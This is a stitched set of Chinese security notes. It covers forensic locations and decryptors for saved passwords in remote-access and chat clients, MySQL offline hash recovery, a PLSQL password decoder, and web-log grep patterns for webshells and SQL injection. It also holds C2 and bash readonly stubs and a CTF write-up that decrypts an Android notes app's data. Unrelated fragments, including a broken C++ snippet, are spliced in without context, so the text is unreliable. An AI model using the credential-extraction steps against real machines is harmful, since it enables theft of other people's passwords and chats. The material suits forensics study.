- [Arvanaghi/SessionGopher](https://github.com/Arvanaghi/SessionGopher) - 使用 WMI 提取 WinSCP、PuTTY、SuperPuTTY、FileZilla 和 Microsoft remote Desktop 等远程访问工具保存的会话信息的 ps 脚本
- [RowTeam/SharpDecryptPwd](https://github.com/RowTeam/SharpDecryptPwd)
- [uknowsec/SharpDecryptPwd](https://github.com/uknowsec/SharpDecryptPwd) - 对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列产品(Xshell,Xftp)。
**微信**
- [ecat-sec/wechat_info_collect](https://github.com/ecat-sec/wechat_info_collect) - 针对微信客户端的信息收集工具, 自动化提取本地 PC 所有的微信信息, 包括微信号, 手机号等
- [Mr0x01/WXDBDecrypt.NET](https://github.com/Mr0x01/WXDBDecrypt.NET) - 微信 PC 版数据库解密工具 .NET 版本
- [x1hy9/WeChatUserDB](https://github.com/x1hy9/WeChatUserDB) - GetWeChat DBPassword&&UserInfo(PC 数据库密码以及相关微信用户信息)
- [Ormicron/chatViewTool](https://github.com/Ormicron/chatViewTool) - 基于 Java 实现的图形化微信聊天记录解密查看器
- https://github.com/Ormicron/Sharp-dumpkey - 基于C#实现的获取微信数据库密钥的小工具
- [greycodee/wechat-backup](https://github.com/greycodee/wechat-backup) - 微信聊天记录持久化备份本地硬盘,释放手机存储空间。
- [sn00pyd0g3/wechat-export](https://github.com/sn00pyd0g3/wechat-export) - 获取微信聊天记录数据库密钥并导出聊天记录,各版本通用。
**向日葵**
- 向日葵客户端运行过程中的日志文件保存路径: `C:\Program Files (x86)\Oray\SunLogin\SunloginClient\log`
- 向日葵的免安装版会在 `C:\ProgramData\Oray\SunloginClient\` 默认路径下生成 `config.ini` 配置文件,配置文件中的 fastcodehistroy 值以 base64 编码形式存储着向日葵历史连接记录
- [向日葵软件在渗透测试中的应用](https://mp.weixin.qq.com/s/5qzYynZI0bdaUnld0GhA4Q)
- [wafinfo/Sunflower_get_Password](https://github.com/wafinfo/Sunflower_get_Password) - 一款针对向日葵的识别码和验证码提取工具
**Xmanager**
- [HyperSine/how-does-Xmanager-encrypt-password](https://github.com/HyperSine/how-does-Xmanager-encrypt-password)
- [JDArmy/SharpXDecrypt](https://github.com/JDArmy/SharpXDecrypt) - Xshell 全版本密码解密工具
- xshell 默认是不开启会话日志记录的
- 会话日志文件夹路径 : `C:\Users\<user>\Documents\NetSarang Computer\6\Xshell\Logs`
- 5.x 会话文件夹路径 : `C:\Users\<user>\Documents\NetSarang\Xshell\Sessions`
- 6.x 会话文件夹路径 : `C:\Users\<user>\Documents\NetSarang Computer\6\Xshell\Sessions`
**SecureCRT**
- [HyperSine/how-does-SecureCRT-encrypt-password](https://github.com/HyperSine/how-does-SecureCRT-encrypt-password)
**FinalShell**
- [jas502n/FinalShellDecodePass](https://github.com/jas502n/FinalShellDecodePass) - FinalShellDecodePass 加密解密
```
从 ~/Library/FinalShell/conn/xxxxxx/xxxxxx_connect_config.json 获取保存的密码,填入解密
javac FinalShellDecodePass.java
java FinalShellDecodePass
```
- [命令行获取finalshell软件保存的公钥](https://www.t00ls.com/articles-67209.html)
**Teamviewer**
- 连接日志文件路径 : `C:\Program Files (x86)\TeamViewer\Connections_incoming.txt`
**MobaXterm**
- [HyperSine/how-does-MobaXterm-encrypt-password](https://github.com/HyperSine/how-does-MobaXterm-encrypt-password)
- [xillwillx/MobaXterm-Decryptor](https://github.com/xillwillx/MobaXterm-Decryptor)
**UltraVNC Server**
- [jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
- `c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini`
- `vncpwd.exe -k <hash>`
**TightVNC Server**
- `HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server`
- `HKEY_CURRENT_USER\SOFTWARE\TigerVNC\WinVNC4`
**RealVNC Server**
- `HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver`
**WinSCP**
- `HKCU\Software\Martin Prikryl\WinSCP 2\Sessions`
- [anoopengineer/winscppasswd](https://github.com/anoopengineer/winscppasswd)
**Remote Desktop Organizer**
- [Hzllaga/RDODecrypt](https://github.com/Hzllaga/RDODecrypt) - Remote Desktop Organizer 密码破解
**FileZilla**
- `C:\Users\<user>\AppDataoaming\FileZilla\recentservers.xml`
**Foxmail**
- [Foxmail Password Decryptor](https://securityxploded.com/foxmail-password-decryptor.php)
- 解密 Foxmail 安装目录下的 Storage 目录中的 Account.rec0 文件
**Navicat**
- [HyperSine/how-does-navicat-encrypt-password](https://github.com/HyperSine/how-does-navicat-encrypt-password)
- 数据库连接记录 : `HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\`
- 当前用户的所有连接记录 : `HKEY_CURRENT_USER\Software\PremiumSoft`
- [Zhuoyuan1/navicat_password_decrypt](https://github.com/Zhuoyuan1/navicat_password_decrypt) - 忘记navicat密码时,此工具可以帮您查看密码
**Mysql**
- 离线解密(mysql5.0)
1. 将目标 Mysql data 目录下的 user.frm ,user.MYD ,user.MYI 文件托回
2. 本地安装 MySQL Server,装完之后立即停掉服务,将拖回来的那三个文件分别丢到 C:\Program Files\MySQL\MySQL Server\data\mysql 目录下进行替换
3. 修改 Mysql 服务配置文件 C:\Program Files\MySQL\MySQL Server\my.ini 在 mysqld 配置项下添加如下配置,之后启动 Mysql 服务
```
skip-grant-tables
```
4. 无需密码直接登录 mysql 执行, 即可拿到完整的密码 hash
```
mysql> select user,password,host from mysql.user;
```
**PLSQL**
- 离线解密
1. PLSQL Developer 默认连接账密保存位置位于当前用户如下路径的 user.prefs 文件中,账号和密码的加密方式比较简单,只是简单异或
```
C:\Users\<username>\AppData\Roaming\PLSQL Developer\Preferences\<username>\
C:\Program Files\PLSQL Developer\Preferences\<username>\
C:\Program Files (x86)\PLSQL Developer\Preferences\<username>\
```
2. user.prefs 文件需关注 LogonHistory 和 CurrentConnections 下的内容,每一行都代表一条单独的连接记录
3. 将 LogonHistoryCurrentConnections 下的内容原样粘回本地,在代码中替换,解密即可
```c#
using System;
using System.Collections.Generic; using System.IO;
public class Program
{
public static void Main() {
var values = new List<int>(); var ret = string.Empty;
string scrambled = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; for (var i = 0; i < scrambled.Length; i += 4)
{
values.Add(Convert.ToInt32(scrambled.Substring(i, 4))); }
var key = values[0]; values.RemoveAt(0);
for (var i = 0; i < values.Count; i++) {
var val = values[i] - 1000;
var mask = key + (10 * (i + 1));
ret += (char)((val ^ mask) >> 4); }
Console.WriteLine(ret); }
}
```
---
## WEB取证
**相关文章**
- [比敌人更了解敌人 [ 取证入门 web篇 ]](https://www.freebuf.com/column/147929.html)
- [记一次IIS劫持处置](https://www.freebuf.com/articles/web/222060.html)
**相关资源**
- [ffffffff0x/LOG-HUB](https://github.com/ffffffff0x/LOG-HUB) - 日志分析库
---
### 中间件配置
**临时目录**
- IIS
- IIS 临时压缩文件 : C:\inetpub\temp\IIS Temporary Compressed Files\WEBUI\$^_gzip_D^\WEB\WEBUI\UPLOAD
- Linux
- `/tmp`
**IIS**
- `C:\Windows\System32\inetsrv\config`
**NGINX**
- 目录 : `/etc/nginx/conf.d/`
**httpd**
- 目录 : `/etc/httpd/conf/`
---
### 中间件服务器程序日志
部分内容来自项目 <sup>[[theLSA/emergency-response-checklist](https://github.com/theLSA/emergency-response-checklist) 和 Tide 团队安全文章]</sup>
**辅助工具**
- [JeffXue/web-log-parser](https://github.com/JeffXue/web-log-parser) - 开源的分析 web 日志工具,采用 python 语言开发,具有灵活的日志格式配置。
- 360星图
- [TurboWay/bigdata_practice](https://github.com/TurboWay/bigdata_practice) - nginx 日志分析可视化
**辅助命令**
```bash
# 统计请求ip
awk '{print $1}' access.log | sort | uniq -c | sort -rn | more
# 状态码统计
cat access.log |awk '{print $9}'|sort|uniq -c|sort -rn
# 200 ok URL 统计
grep "183.6.56.66" access.log | awk '{if ($9==200) print $1,$7,$9}'
# 查看并统计200的状态码及ip(去重后)
cat access.log | awk '{if ($9=200) print $1,$7,$9}'|sort|uniq -c|sort -rn | head -20
# sql注入事件
more access.log | egrep "%20select%20|%20and%201=1|%20and%201=2|%20exec|%27exec| information_schema.tables|%20information_schema.tables|%20where%20|%20union%20|%20SELECT%20|%2ctable_name%20|cmdshell|%20table_schema|order%20by|select"
# 扫目录行为
more access.log | egrep "\.zip|\.rar|\.mdb|\.inc|\.sql|\.config|\.bak|/login.inc.php|/.svn/|/mysql/|config.inc.php|\.bak|wwwroot|网站备份|/gf_admin/|/DataBackup/|/Web.config|/web.config|/1.txt|/test.txt|www.zip|www.tar|admin"
# webshell事件
more access.log | egrep "eval|%eval|%execute|%3binsert|%20makewebtaski%20|/div.asp|/1.asp|/1.jsp|/1.php|/1.aspx|xiaoma.jsp|tom.jsp|py.jsp|k8cmd.jsp|/k8cmd|ver007.jsp|ver008.jsp|ver007|ver008|%if|\.aar|\.php3|\.php4|\.php5|\.pht|\.phm|\.phml|\.php2|\.phtm|shell.php|\.Php"
# 基础攻击事件
more access.log | egrep "/passwd|%00|/win.ini|/my.ini|/MetaBase.xml|/web.xml|/ServUDaemon.ini|ssh|alert|<script>|include|filename|\.sh"
```
**IIS**
`C:\WINDOWS\system32\LogFiles` : 日志内容包括访问域名时间、ip、访问 url 等信息。
**httpd**
- `/etc/httpd/logs/`
**apache**
apache 日志一般分为 `access_log` 和 `error_log` 两种,通过查看 `httpd.conf` 文件查看 apache 日志路径:
```bash
grep -i "CustomLog" /etc/httpd/conf/httpd.conf
grep -i "ErrorLog" /etc/httpd/conf/httpd.conf
```
- Linux : `/usr/local/apache/logs/`
- Linux : `/var/log/apache2`
- Windows : `apache/logs/`
- `access_log` : 访问日志,记录所有对 apache 服务器进行请求的访问
- `error_log` : 错误日志,记录下任何错误的处理请求,通常服务器出现什么错误,可对该日志进行查看
**nginx**
nginx 的日志主要分为 `access.log`、`error.log` 两种,可通过查看 `nginx.conf` 文件来查找相关日志路径
- `/var/log/nginx/access.log` : 主要记录访问日志,记录访问客户端 ip 地址、访问时间、访问页面等信息。
- `/var/log/nginx/error.log` : 主要记录一些错误信息。
**tomcat**
tomcat 日志默认路径:在安装目录下的 logs 文件夹下
- 如果在安装中默认修改了日志存储位置,可在 `conf/logging.properties` 文件中查看
- `catalina.out` : 运行中的日志,主要记录运行中产生的一些信息,尤其是一些异常错误日志信息
- `catalina.Y-M-D.log` : 是 tomcat 自己运行的一些日志,这些日志还会输出到 `catalina.out`,但是应用向 console 输出的日志不会输出到 `catalina.{yyyy-MM-dd}.log`
- `host-manager.xx.log` : 管理日志
- `localhost.xx.log` : 程序异常没有被捕获的时候抛出的地方,Tomcat 下内部代码丢出的日志(jsp 页面内部错误的异常,`org.apache.jasper.runtime.HttpJspBase.service` 类丢出的,日志信息就在该文件!)应用初始化(listener,filter, servlet)未处理的异常最后被 tomcat 捕获而输出的日志,而这些未处理异常最终会导致应用无法启动。
- `manager.xx.log`
- `localhost_access_log` : 主要记录访问日志信息,记录访问的的时间、ip 地址等信息,也是应急中经常用到的日志信息
**weblogic**
weblogic 在安装结束后默认开启了日志记录功能,默认配置情况下,weblogic 会有3种日志,分别是 `accesslog`, `Server log` 和 `domain log`,WebLogic8.x 和 9 及以后的版本目录结构有所不同。
- `domain_name/servers/server_name/logs/`
- `$MW_HOME` 是 WebLogic 的安装目录
- `<domain_name>` 是域的实际名称,是在创建域的时候指定的
- `<server_name>` 是 Server 的实际名称,是在创建 Server 的时候指定的
- `<adminserver_name>` 是 Admin Server 的实际名称,是在创建 Admin Server 的时候指定的。
WebLogic 9及以后版本:
- `domain log` : 主要记录了一个 domain 的运行情况,一个 domain 中的各个 weblogic server 可以把它们的一些信息(如:严重错误)发送到 AdminServer 上,AdminServer 把这些信息传递到 domain.log 上.
```
$MW_HOME\user_projects\domains\<domain_name>\servers\<adminserver_name>\logs\<domain_name>.log
```
- `server log` : 主要用于服务器的一般日志记录,比如 weblogic 的启动、关闭、部署应用等相关记录,日志格式:依次为时间戳,严重程度,子系统,计算机名,服务器名,线程 ID.
```
$MW_HOME\user_projects\domains\<domain_name>\servers\<server_name>\logs\<server_name>.log
```
- `access log` : 主要记录 http 请求,默认情况下日志记录处于启用状态,服务器将 http 请求保存在单独的日志文件中,日志主要记录了 http 请求请求 ip 地址、请求时间、访问页面、响应状态等信息.
```
$MW_HOME\user_projects\domains\<domain_name>\servers\<server_name>\logs\access.log
```
WebLogic 8.x版本:
- `access log`
```
$MW_HOME\user_projects\domains\<domain_name>\<server_name>\access.log
```
- `server log`
```
$MW_HOME\user_projects\domains\<domain_name>\<server_name>\<server_name>.log
```
- `domain log`
```
$MW_HOME\user_projects\domains\<domain_name>\<domain_name>.log
```
**jboss**
- LOG4J 配置默认 `Deploy/conf/` 如 `jboss/server/default/conf/jboss-log4j.xml`
### 常见web服务日志
**sonarqube**
- 日志文件
- `sonarqube 默认生成的日志只保留7天`
-这个看 `$SONARQUBE-HOME/conf/sonar.properties` 里的 `sonar.log.maxFiles` 配置
**gitlab**
- 相关文章
- [企业安全之内部代码管理平台Gitlab下载及权限审计](https://mp.weixin.qq.com/s/mP2g3xnsuM-TwRjJ-z4e2Q)
- 常见目录
- `/var/log/gitlab/`
- `/home/gitlab/logs/`
- 日志文件
- production.log: 该日志位于 gitlab-rails 中,其作用是记录 gitlab 的每次请求的具体信息,包括请求的 URL、ip 地址、请求类型、以及此次请求所涉及的具体代码、SQL 请求以及 SQL 请求消耗的时间。
- application.log: 此日志文件位于 gitlab-rails 中,其作用是记录创建用户、创建项目、移动项目等日志。
- githost.log: 此日志文件位于 gitlab-rails 中,此日志的作用是记录对 gitlab 服务器的错误请求日志。
- sidekiq.log: 此日志文件位于 gitlab-rails 中,gitlab 中可能存在一些任务需要运行很长时间,因此会选择将这些任务在后台执行,sidekiq.log 文件就是用来记录这一类任务的处理信息,此日志文件是一个软连接文件。
- gitlab-shell.log: 此日志文件位于 gitlab-shell 中,该日志文件的作用是记录执行 gitlab 命令以及为项目添加 ssh 权限的日志文件
- 同步动作(git clone/fetch/pull):command:gitaly-upload-pack
- 推送操作(git push):command:gitaly-receive-pack
- unicorn_stderr.log: 此日志文件位于 unicorn,该日志文件的作用是记录 gitlab 的 web 服务器的相关记录。
- `gitlab 默认 svlogd 生成的日志只保留30天`
- 使用控制台实时查看 logs
```bash
# 查看所有的logs; 按 Ctrl-C 退出
sudo gitlab-ctl tail
# 拉取/var/log/gitlab下子目录的日志
sudo gitlab-ctl tail gitlab-rails
# 拉取某个指定的日志文件
sudo gitlab-ctl tail nginx/gitlab_error.log
```
- https://docs.gitlab.com/omnibus/settings/logs.html
- gitlab 的 `[安全审计/审计事件]` 功能只有付费版才有
- 本质上是对 audit_json.log 日志的读取
- https://docs.gitlab.cn/jh/administration/audit_events.html
---
## 数据库取证
部分内容来自项目 <sup>[[theLSA/emergency-response-checklist](https://github.com/theLSA/emergency-response-checklist) 和 Tide 团队安全文章]</sup>
**misc**
- `mysql\lib\plugin` 目录的异常文件
- select * from mysql.func 的异常
- mssql 检查 xp_cmdshell 等存储过程
- 异常数据库登录
- 数据库用户弱口令
- 注意 mysqld 配置文件
---
### mysql
**mysql 日志**
- `/root/.mysql_history`
- 错误日志 `ErrorLog` : 记录 Mysql 运行过程中的 Error、Warning、Note 等信息,系统出错或者某条记录出问题可以查看 Error 日志,hostname.err
- 二进制日志 `Binary Log` :包含一些事件,这些事件描述了数据库的改动,如建表、数据改动等,主要用于备份恢复、回滚操作等,记录修改数据或有可能引起数据改变的 mysql 语句,log_bin,默认在数据目录,如 mysql-bin.000001
- 二进制日志 (binary log) 主要用于数据库恢复和主从复制, 以及审计 (audit) 操作。审计提供了一种用来追踪用户活动的办法。二进制日志记录了 MySQL 数据库的更新变化。二进制日志还记录了每个更新数据库语句的执行时间 。它不会显示没有修改的数据,只有通用查询日志才记录了所有的数据。二进制日志可以最大可能的恢复数据库,因为二进制日志包含备份后所有的更新。
- 二进制日志不能直接用文本的方式打开, MySQL 提供了相应的查看工具: mysqlbinlog
```bash
cd /var/lib/mysql
ls
mysqlbinlog -vv --base64-output=decode-rows xxx.xxx
# 如果报错可以加上 --no-defaults
```
- 通用查询日志 `GenaralQuery Log` : 记录用户的所有操作,记录 mysql 的日常日志,包括查询、修改、更新等的每条 sql;默认关闭,general_log_file
```sql
show variables like '%general%'; -- 查看log配置信息
SET GLOBAL general_log = 'On'; -- 开启日志
SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log'; -- 指定日志文件路径
```
- 慢查询日志 `Slow QueryLog*` : 记录执行时间超过指定时间的查询语句,slow_query_log_file
- 事务日志:ib_logfile0
- mysql 相关命令
```sql
status;
show global variables like '%log%';
show global variables like '%gene%';
show master status;
systemmore /mydata/data/stu18_slow.log;
showbinary logs;
showmaster logs;
showbinlog events in 'mysql-bin.000011';
show processlist;
```
- 更多 mysql 日志类型可参考 https://www.jianshu.com/p/db19a1d384bc
- 有哪些IP在爆破?
```bash
grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
```
- 爆破用户名字典都有哪些?
```bash
grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr
```
**访问审计**
追踪是哪个用户执行的操作行为,就需要增加用户访问审计。
MySQL 的连接首先都是要通过 init-connect 初始化,然后连接到实例。利用这一点,通过在 init-connect 的时候记录下用户的 thread_id, 用户名和用户地址实现数据库的访问审计功能。
配置 init-connect 参数
```sql
show variables like 'init_connect%';
-- 创建审计用的库表
use db_monitor;
create table auditlog(thread_id int(11) DEFAULT NULL,
log_time datetime default null,
localname varchar(50) DEFAULT NULL,
matchname varchar(50) DEFAULT NULL,
key idx_log_time(log_time)
);
-- 动态调整 init-connect 参数,设置当前登录 ID, 当前登录时间,登录用户名
set global init_connect='insert into db_monitor.auditlog(thread_id,log_time,localname,matchname) values(connection_id(),now(),user(),current_user());';
-- 授予普通用户对 auditlog 表的 insert 权限
grant insert on db_monitor.auditlog to 'test'@'localhost';
```
在配置文件 /etc/my.cnf 中添加 init_connect 参数
```
init_connect='insert into db_monitor.auditlog(thread_id,log_time,localname,matchname) values(connection_id(),now(),user(),current_user());'
```
---
### mssql
**mssql 日志**
SQL Server 日志记录了完整的 SQL Server 数据库运行的状态信息,并以消息的形式记录系统级、应用级操作。
可以使用 SQL Server Management Studio 中的日志文件查看器来访问有关在以下日志中捕获的错误和事件的信息:
SQL Server Management Studio 连接 sqlserver 数据库,查看与常规 SQL Server 活动相关的日志。
登录到 SQL Server Management Studio,依次点击 管理--SQL Server 日志
- exec xp_readerrorlog
- object Explorer-Management-SQL Server logs-view-logs
- SQL Server 2008: R2\MSSQL10_50.MSSQLSERVER\MSSQL\Log\ERRORLOG
- 查询最近一次启动 sqlserver 时间:
```sql
select sqlserver_start_time fromsys.dm_os_sys_info;
```
- 历史 sql 记录查询:SQLServer 并没有这样的实现,只有 `sys.dm_exec_query_stats` 缓存了一部分 (sql server 服务开启后执行的语句,某些不被缓存执行计划的语句并不记录)。
- Sqlserver 开启日志审计功能可参考 https://blog.51cto.com/gaowenlong/1908381
- xp_cmdshell 在 mssql2005 之后的版本中是默认禁止的,查看 xp_cmdshell 是否被启用。
```
Exec master.dbo.xp_cmdshell 'whoami'
```
---
### Oracle
**Oracle 日志**
- 查看日志 : SQL> show parameter dump
- 查看 v$diag_info 系统视图 : SQL> select * from v$diag_info;
- 查询 bdump 参数,来找到 alert 日志位置 : show parameter background_dump_dest
Oracle 日志文件分为两种:重做日志文件(redo log file)、归档日志文件,其中重做日志文件主要记录了数据库的操作过程,可以在进行数据库恢复时,将重做日志文件在还原的数据库上进行执行,以达到数据库的最新状态。
Oracle 数据库默认只是对数据库的登录情况记录,但是不对数据库的查询记录统计,可通过 `show parameter audit`,查看审计功能是否开启,若 audit_sys_operations 值为 DB。
开启审计功能
```
alter system set audit_sys_operations=TRUEscope=spfile;
alter system set audit_trail=db,extendedscope=spfile;
```
重启实例即可,开启后会把审计内容记录到 sys 库的 `AUD$` 表中
数据库连接日志
```
cat /opt/oracle/diag/tnslsnr/localhost/listener/trace/listener.log
```
|
sec-knowleage
|
#include <iostream>
#include <iomanip>
using namespace std;
int data[][23];
int indexOf(int num){
for(int x=0; x<256; x++){
if(num == lookup[x]){
return x;
}
}
return -1;
}
int main(){
for(int i=0; i<14747; i++){
for(int j=0; j<23; j++){
cout << hex << setfill('0') << setw(2) << indexOf(data[i][j]);
}
}
}
|
sec-knowleage
|
# TODO 从流量中检测C2通信
## 1. C2的基础
### 什么是C2?
C2, Command and Control, 命令与控制。主要是指攻击者通过与恶意软件的交互,对被害者进行控制,从而实施恶意活动的含义。从语义上来讲,C2即可用作为名词(基础设施)也可以作为动词(交互的行为),例如C2服务器(名词做定语)、攻击者进行C2。
### 什么阶段会有C2?
对于我这种新手来说,在面试的时候被问到一个问题,就是C2是在什么阶段进行的。当时脑子一下子有点懵,觉得C2不是就在中马后进行嘛。后在才想明白,这个问题其实背后考察的是对基本的攻击链路熟悉情况。我们先从杀伤链上来讲,主要分为以下的步骤:
- 侦查(Reconnaissance)
- 武器化(Weaponization)
- 散布/载荷投递(Delivery)
- 恶用/漏洞利用(Exploitation)
- 设置/驻留(Installation)
- 命令与控制(Command & Control)
- 目标达成/恶意活动(Action on Objectives)
### C2的作用是什么?
以上的这种杀伤链是适用于普遍的网络入侵的,但在APT攻击中,APT攻击的目的往往不是为了破坏,而是为了窃密、监听[1]。
因此,在APT攻击中,C2通信常会有以下的用处:
- 用于攻击者的指令下发
- 用于资源下发和数据上传
因此C2架构的总体作用可以理解为:
> C2 架构也就可以理解为,恶意软件通过什么样的方式获取资源和命令,以及通过什么样的方式将数据回传给攻击者。[1]
## 2. C2的技术
### 从使用的协议上进行分类
- HTTP/HTTPS
- FTP
- DNS
- SMTP
## References
\[1] 小议 APT 攻击中的C2架构, [PI4net](https://www.zhihu.com/people/xing-shi-kang), https://zhuanlan.zhihu.com/p/54810155
|
sec-knowleage
|
readonly
===
标记shell变量或函数为只读
## 语法
```shell
readonly [-aAf] [name[=value] ...]
readonly -p
```
## 主要用途
- 定义一到多个变量并设置只读属性。
- 为已定义的一到多个变量设置只读属性。
- 显示全部包含只读属性的变量。
- 为已定义的一到多个函数设置只读属性。
- 显示全部包含只读属性的函数。
## 选项
```shell
-a:指向数组。
-A:指向关联数组。
-f:指向函数。
-p:显示全部只读变量。
--:在它之后的选项无效。
```
## 参数
```shell
name(可选):变量名或函数名
value(可选):变量的值
```
### 返回值
readonly返回true除非你提供了非法选项或非法名称。
## 例子
```shell
# 定义变量并增加只读属性
readonly var1=13 var2
readonly -a arr1=(1 2 3 4 5) arr2=('z' 'x' 'c')
# 必须有 '-A' 选项
readonly -A dict1=(['key1']='value1')
```
```shell
# 先定义变量、函数,然后再为它们添加只读属性
max=3
readonly max
# 数组定义时可以不加 `declare -a`
seasons=('spring' 'summer' 'autumn' 'winter')
# 为数组添加只读属性时可以不加 `-a` 选项
readonly seasons
declare -A man=(['age']=23 ['height']='190cm')
# 为关联数组添加只读属性时可以不加 `-A` 选项
readonly man
function foo(){ echo 'bar'; }
# 为函数添加只读属性时必须加 `-f` 选项
readonly -f foo
```
```shell
# 显示全部只读变量,以下两个命令的显示结果一样
readonly
readonly -p
# 显示全部拥有只读属性的数组
readonly -a
# 显示全部拥有只读属性的关联数组
readonly -A
# 显示全部拥有只读属性的函数
readonly -f
```
## 常见错误
对于只读变量而言,若用户对其值进行修改,则会立即报错。例如,使用该指令定义一个只读变量"test",并且将其值初始化为"ok",输入如下命令:
```shell
[root@localhost ~]# readonly test='ok' #定义只读变量并初始化
```
那么当用户直接修改该只读变量时就会报错,如下所示:
```shell
[root@localhost ~]# test='my' #试图修改只读变量的值
-bash: test: readonly variable
```
当用户试图修改只读变量的值时,会被提示该变量为只读变量。
## 注意
1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
2. `declare +r`不能去除只读属性, `unset`不能删除只读变量。
|
sec-knowleage
|
# AndroNotes
> Our Forensic experts dumped the mobile device of a criminal, can you identify what the thugs are up to...
We get a 3.5GB dump of a flash memory of an Android device with a task of retrieving an encrypted note. After a while of
looking at installed applications we take an even closer look at the "Safe Notes - Secure Ad-free notepad"
(com.protectedtext.android) app and, especially, it's stored data at
`/dump/data/data/com.protectedtext.android/`:
```
./databases
./databases/notes_db_name-journal
./databases/google_app_measurement_local.db-journal
./databases/google_app_measurement_local.db
./databases/notes_db_name
./shared_prefs
./shared_prefs/com.google.android.gms.appid.xml
./shared_prefs/com.protectedtext.n2.xml
./shared_prefs/com.google.android.gms.measurement.prefs.xml
./shared_prefs/com.protectedtext.lon.xml
./shared_prefs/com.crashlytics.sdk.android:answers:settings.xml
./shared_prefs/remoteConfigPrefs.xml
./shared_prefs/com.google.firebase.remoteconfig_legacy_settings.xml
./shared_prefs/frc_1:169956459094:android:8d67c78e1c4facc6_firebase_settings.xml
./shared_prefs/com.protectedtext.android_preferences.xml
./shared_prefs/TwitterAdvertisingInfoPreferences.xml
./shared_prefs/com.crashlytics.prefs.xml
```
At first, we looked into the `./databases/notes_db_name` file, which is a sqlite database.
```
$ sqlite3 ./databases/notes_db_name
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE android_metadata (locale TEXT);
CREATE TABLE Notes (ID_COLUMN integer primary key autoincrement, NOTE_CONTENT_COLUMN text, LAST_TIME_MODIFIED_COLUMN integer, IS_ENCRYPTED_COLUMN integer, INIT_CONTENT_HASH_COLUMN text, EXPECTED_DB_VERSION_COLUMN integer, LAST_SELECTED_TAB_INDEX_COLUMN integer, PASSWORD_COLUMN text, URL_COLUMN text );
CREATE TABLE sqlite_sequence(name,seq);
```
It's schema was very promising, but...
```
sqlite> select * from Notes;
sqlite>
```
... the database was empty.
Then we looked at shared_prefs and especially the `./shared_prefs/com.protectedtext.n2.xml` file that turned out
to have a base64-encoded high-entropy data, possibly an encrypted note.
```
$ cat shared_prefs/com.protectedtext.n2.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="a">U2FsdGVkX19c/zcgG/UScI+1bKvOvunZUy6Ck1FB/dxMD+BGQLAAkEVufV1+skdK5cyCFqnw2WTY546XgOGnD11WLjg1N0RbbeotynkRGGKFZ3XAMQQUk7v08mBs8IYVISRxSzktd9HgT4cCAjtvWgpYytz9y7Tb4hF1x8plEb114yaWfNspk4XmLqUyssVnyIhqBXDmmIEFVudV+EQsOkYcBW5S1GINEBLqV6lxLKHSTlwWej2Y+TpC1mOAScmIs6NAyquw7ow2oYpqDBC6SB5dslgHYeV9YoCv+evP+lQdmCTf+88VvT001MnUHtgTFnsRcZR1rCmZp2EXNQArCH/onRSAE2ehGPv2NIfsnljeSfg7jO12zkRqf1q22SLtFpHL8OLKjrfvpcY5yRIm1H1vkYRDewYlku6r/WoESpBfAvl8/VKmkrsPfp1JjKLuO3mDOuv5CmE7HBmT3etR5b1WEL78nizxtkj4wFKyY2I4SuHmsNFANZdxMsdpZImYpB6pG0i5ifMGiesjThvTQU8pblQ2XQSrNuqpTtjwXvk=</string>
</map>
```
Now's the time to finally look into the application itself. We've downloaded an APK and decompiled its code.
We started with `com.protectedtext.android` package and quickly ran into the `a.c.b()` method with a string suggesting
it might deal with the aforementioned shared prefs file:
```java
public JSONObject b(long j) {
Context applicationContext = PtApplication.b().getApplicationContext();
String string = applicationContext.getSharedPreferences("com.protectedtext.n" + j, 0).getString("a", (String) null);
if (string == null) {
f.a((Throwable) new IllegalStateException("Note xml file exists, but no keys inside!"));
}
try {
return new JSONObject(e.a(string, f3128b + j));
} catch (JSONException e) {
f.a((Throwable) e);
throw new RuntimeException(e);
}
}
```
The `e.a` method it invokes when creating the JSONObject looks like a decryption function:
```java
public static String a(String str, String str2) {
try {
byte[] decode = Base64.decode(str, 0);
byte[] bArr = new byte[8];
byte[] bArr2 = new byte[(decode.length - 16)];
System.arraycopy(decode, 8, bArr, 0, 8);
System.arraycopy(decode, 16, bArr2, 0, bArr2.length);
MessageDigest instance = MessageDigest.getInstance("MD5");
byte[] a2 = a(str2.getBytes(), bArr);
byte[] digest = instance.digest(a2);
byte[] digest2 = instance.digest(a(digest, a2));
byte[] digest3 = instance.digest(a(digest2, a2));
SecretKeySpec secretKeySpec = new SecretKeySpec(a(digest, digest2), "AES");
IvParameterSpec ivParameterSpec = new IvParameterSpec(digest3);
Cipher instance2 = Cipher.getInstance("AES/CBC/PKCS5Padding");
instance2.init(2, secretKeySpec, ivParameterSpec);
return new String(instance2.doFinal(bArr2), "UTF-8");
} catch {
... error handling ...
}
}
```
It takes base64-encoded data and a key. Conveniently it's just a static key constructed from a few strings:
```java
StringBuilder sb = new StringBuilder();
sb.append("7igb2h048io6fyv");
sb.append(Math.random() > -1.0d ? "8h92q3ruag" : "98hasdfil");
sb.append("09g8h");
f3128b = sb.toString();
```
Copying all that code into a new Java project and passing the base64-encoded data we've found in the shared prefs
along with the static key to the decryption function gives us the note contents and the flag:
```json
{"id":2,"content":"Operation Secret:\nINS{P1n_L0c4l_AuTh3nT1c4t10N_1s_4asY}\nf47c13a09bfcad9eb1f81fbf12c04516e0d900e409a74c660f933e69cf93914e16bc9facc7d379a036fe71468bd4504f2a388a0a28a9b727a38ab7843203488c♻ Reload this website to hide mobile app metadata! ♻{\"version\":1,\"color\":-1118482}","ordering_time":1640170640052,"is_encrypted":false,"expected_db_ver":2,"selected_tab_index":0}
```
The application description on Google Play also suggests that the app uses a user-provided PIN to protect user's data,
but we guess it only blocks the UI.
|
sec-knowleage
|
# IDEA
## 概述
